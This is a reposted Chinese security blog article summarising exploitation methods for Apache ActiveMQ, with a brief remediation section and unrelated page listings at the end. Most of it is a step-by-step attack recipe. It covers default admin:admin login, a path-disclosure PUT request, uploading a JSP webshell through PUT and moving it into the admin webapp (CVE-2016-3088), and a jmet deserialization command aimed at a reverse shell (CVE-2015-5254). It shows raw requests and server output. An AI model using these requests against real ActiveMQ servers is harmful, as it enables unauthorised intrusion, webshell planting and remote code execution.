转载来自:http://www.freebuf.com/column/161188.html

1、Console存在默认端口和默认密码/未授权访问(默认密码为admin:admin)

ActiveMQ默认使用8161端口,使用nmap对目标服务器进行扫描:

[root@localhost src]# nmap -A  -p8161 192.168.197.25 \
Starting Nmap 5.51 ( http://nmap.org ) at 2017-10-26 15:31 CST
Nmap scan report for 192.168.197.25
Host is up (0.00016s latency).
PORT STATE SERVICE VERSION
8161/tcp open http Jetty httpd 7.6.7.v20120910
|_http-methods: No Allow or Public header in OPTIONS response (status code 401)
| http-auth: HTTP/1.1 401 Unauthorized
|
|_basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized

2、ActiveMQ物理路径泄漏漏洞

ActiveMQ默认开启PUT请求,当开启PUT时,构造好Payload(即不存在的目录),Response会返回相应的物理路径信息:

Request Raw:
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: 192.168.197.25:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 4 test
Response Raw:
HTTP/1.1 500 /data/apache-activemq-5.7.0/webapps/fileserver//.././(No such file or directory)
Content-Length: 0
Server: Jetty(7.6.7.v20120910)

3、ActiveMQ PUT任意文件上传漏洞

ActiveMQ默认开启PUT方法,当fileserver存在时我们可以上传jspwebshell。

Request Raw:
PUT /fileserver/shell.jsp HTTP/1.1
Host: 192.168.197.25:8161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 26 this is jsp webshell code.
Response Raw:
HTTP/1.1 204 No Content
Server: Jetty(7.6.7.v20120910)

一般构造返回204响应码即为成功,笔者测试其他环境为不可put时,返回为404或500。 put完成,我们查看service下的信息:

[root@localhost fileserver]# pwd
/data/apache-activemq-5.7.0/webapps/fileserver
[root@localhost fileserver]# ls
index.html META-INF shell.jsp WEB-INF
[root@localhost fileserver]# cat shell.jsp
this is jsp webshell code.
[root@localhost fileserver]#

4、ActiveMQ任意文件文件移动漏洞

ActiveMQ除了支持PUT协议之外,还支持MOVE协议。

Request Raw:
MOVE /fileserver/shell.jsp HTTP/1.1
Destination:file:/data/apache-activemq-5.7.0/webapps/admin/shell.jsp
Host: 192.168.197.25:8161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 17 Content-Length: 0
Response Raw:
HTTP/1.1 204 No Content
Server: Jetty(7.6.7.v20120910)

服务器信息如下:

[root@localhost fileserver]# ls
index.html META-INF shell.jsp WEB-INF
[root@localhost fileserver]# cat shell.jsp
this is jsp webshell code.
[root@localhost fileserver]# ls
index.html META-INF shell.jsp WEB-INF
[root@localhost fileserver]# ls
index.html META-INF WEB-INF
[root@localhost fileserver]# cd ..
[root@localhost webapps]# ls
admin demo favicon.ico fileserver index.html styles
[root@localhost webapps]# cd admin/
[root@localhost admin]# ls
1.jsp browse.jsp decorators index.jsp META-INF queueGraph.jsp send.jsp styles topics.jsp
404.html connection.jsp graph.jsp js network.jsp queues.jsp shell.jsp subscribers.jsp WEB-INF
500.html connections.jsp images message.jsp queueConsumers.jsp scheduled.jsp slave.jsp test xml
[root@localhost admin]#

同理,写ssh key一样,在此不再重复造轮子。

影响版本:Apache ActiveMQ 5.x ~ 5.14.0

CVE信息:CVE-2016-3088

4. ActiveMQ反序列化漏洞(CVE-2015-5254)

ActiveMQ默认对外开启61616端口,默认为ActiveMQ消息队列端口。

其中存在一下小的细节问题:

  1. 工具releaes的为JDK 1.7,如果自己build可无视

  2. 使用工具需要在当前目录下创建一个external目录,否则会出现NoSuchFileException

通过构造payload,向队列发送反序列化数据到消息队列中。

(工具下载地址:https://github.com/matthiaskaiser/jmet)

[root@sevck_v3 ~]# java -jar jmet-0.1.0-all.jar  -Q event -I ActiveMQ -s -Y "python /tmp/test.py" -Yp "CommonsCollections1" 192.168.197.25 61616
INFO d.c.j.t.JMSTarget [main] Connected with ID: ID:sevck_v3.0-45938-1516678757604-0:1
INFO d.c.j.t.JMSTarget [main] Sent gadget "CommonsCollections1" with command: "python /tmp/test.py"
INFO d.c.j.t.JMSTarget [main] Shutting down connection ID:sevck_v3.0-45938-1516678757604-0:1

查看消息队列触发:

服务器监听:

注:如果反弹不成功可能的原因是JAVA Runtime.getRuntime().exec()中不能使用管道符,需要进行一次编码

推荐工具:http://jackson.thuraisamy.me/runtime-exec-payloads.html

影响版本:Apache ActiveMQ 5.13.0的版本之前的存在反序列化漏洞

CVE信息:CVE-2015-5254

5.ActiveMQ 信息泄漏漏洞(CVE-2017-15709)

在最新的版本中apache-activemq-5.15.0 toapache-activemq-5.15.2和apache-activemq-5.14.0to apache-activemq-5.14.5中61616默认使用了OpenWire协议,开启了debug模式,debug模式会泄漏操作系统相关信息

影响版本:Apache ActiveMQ5.14.0 – 5.15.2

CVE信息: CVE-2017-15709

修复建议:

  1. 针对未授权访问,可修改conf/jetty.xml文件,bean id为securityConstraint下的authenticate修改值为true,重启服务即可

  2. 针对弱口令,可修改conf/jetty.xml文件,bean id 为securityLoginService下的conf值获取用户properties,修改用户名密码,重启服务即可

  3. 针对反序列化漏洞,建议升级到最新版本,或WAF添加相关规则进行拦截

  4. 针对信息泄漏漏洞,启用TLS传输或升级到Apache ActiveMQ的5.14.6或5.15.3以上版本

ActiveMQ漏洞利用方法总结的更多相关文章

  1. Ghostscript远程代码执行漏洞利用方法

    昨天爆出来的Ghostscript远程代码执行漏洞,复现过程如下 1.确认系统是否安装了gs 执行命令 gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/ ...

  2. CVE-2015-3864漏洞利用分析(exploit_from_google)

    title: CVE-2015-3864漏洞利用分析(exploit_from_google) author: hac425 tags: CVE-2015-3864 文件格式漏洞 categories ...

  3. Nginx漏洞利用与安全加固

    本文主要分为两大部分,第一部分介绍了Nginx的一些常见安全漏洞的形成原因.利用方法,并给出了相应的解决办法;第二部分介绍了Nginx安全加固时需要关注的主要内容. Nginx(发音同engine x ...

  4. redis弱密码漏洞利用

    背景: redis无认证,或者弱密码,可以成功连接到redis服务器 反弹shell拿到的权限取决于redis的启动账号 操作: 1. Centos7安装redis客户端 #yum install r ...

  5. ewebeditor编辑器ASP/ASPX/PHP/JSP版本漏洞利用总结及解决方法

    这个编辑器按脚本分主要有4个版本,ASP/ASPX/PHP/JSP 每个版本都有可以利用的漏洞.判断网站是否使用了eWebEditor查看程序源代码,看看源码中是否存在类似”ewebeditor.as ...

  6. Apache ActiveMQ漏洞笔记

    0x00 简介 Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务.集群.Spring Framework等. 0x01 环境搭建 ...

  7. Linux环境下常见漏洞利用技术(培训ppt+实例+exp)

    记得以前在drops写过一篇文章叫 linux常见漏洞利用技术实践 ,现在还可以找得到(https://woo.49.gs/static/drops/binary-6521.html), 不过当时开始 ...

  8. LFI漏洞利用总结

    主要涉及到的函数 include(),require().include_once(),require_once() magic_quotes_gpc().allow_url_fopen().allo ...

  9. Drupal 7.31SQL注入getshell漏洞利用详解及EXP

    0x00 这个漏洞威力确实很大,而且Drupal用的也比较多,使用Fuzzing跑字典应该可以扫出很多漏洞主机,但是做批量可能会对对方网站造成很大的损失,所以我也就只是写个Exp不再深入下去. 0x0 ...

随机推荐

  1. linux:基本概念和操作

    1. 终端 Linux 默认提供了 6 个纯命令行界面的 “terminal”(准确的说这里应该是 6 个 virtual consoles)来让用户登录,在物理机系统上你可以通过使用[Ctrl]+[ ...

  2. Exception 06 : org.hibernate.NonUniqueObjectException: A different object with the same identifier value was already associated with the session :

    异常名称: org.hibernate.NonUniqueObjectException: A different object with the same identifier value was ...

  3. DRBD数据镜像与搭建

    一.数据安全工具DRDB 1. 数据镜像软件DRDB介绍 分布式块设备复制,是基于软件.基于网络的块复制存储解决方案 作用:用于服务器之间的磁盘.分区.逻辑卷等进行数据镜像. 例如:当用户将数据写入本 ...

  4. 上传本地代码到github&&从github下载源码

    最近在玩github,下面简单介绍下githup的使用 将本地代码同步到github. 使用Git GUI同步  1,先下载git,然后安装.右键如图所示. 2,在github里新建一个 reposi ...

  5. pip离线安装python包

    1 首先在一台能上网的机器上得到python包 1) 新建一个空目录,如 /home/ubuntu/zcy/ss,用来存储下载下来的所需安装包 2)下载安装包:pip install --downlo ...

  6. LeetCode 657 Robot Return to Origin 解题报告

    题目要求 There is a robot starting at position (0, 0), the origin, on a 2D plane. Given a sequence of it ...

  7. 2018/04/25 基于 编译安装的 PHP7 安装 swoole 扩展

    在上一篇文章我们知道了如何去编译安装一个自己需要的 PHP 版本. 2018/04/25 PHP7的编译安装 这里还没有完,我们还需要安装我们的扩展,才算完成今天的任务. -- 下载扩展 还是官网下载 ...

  8. es基本查询相关的

    一.获取索引的mapping GET linewell_assets_mgt_es/lw_devices/_mapping

  9. js阻止默认事件,如a标签跳转和事件冒泡

    禁止a标签点击跳转 <a href="http://baidu.com" onclick="return false">点我啊</a> ...

  10. kvo观察实例变量

    // 手动设定KVO - (void)setAge:(NSString *)age { [self willChangeValueForKey:@"age"]; _age = ag ...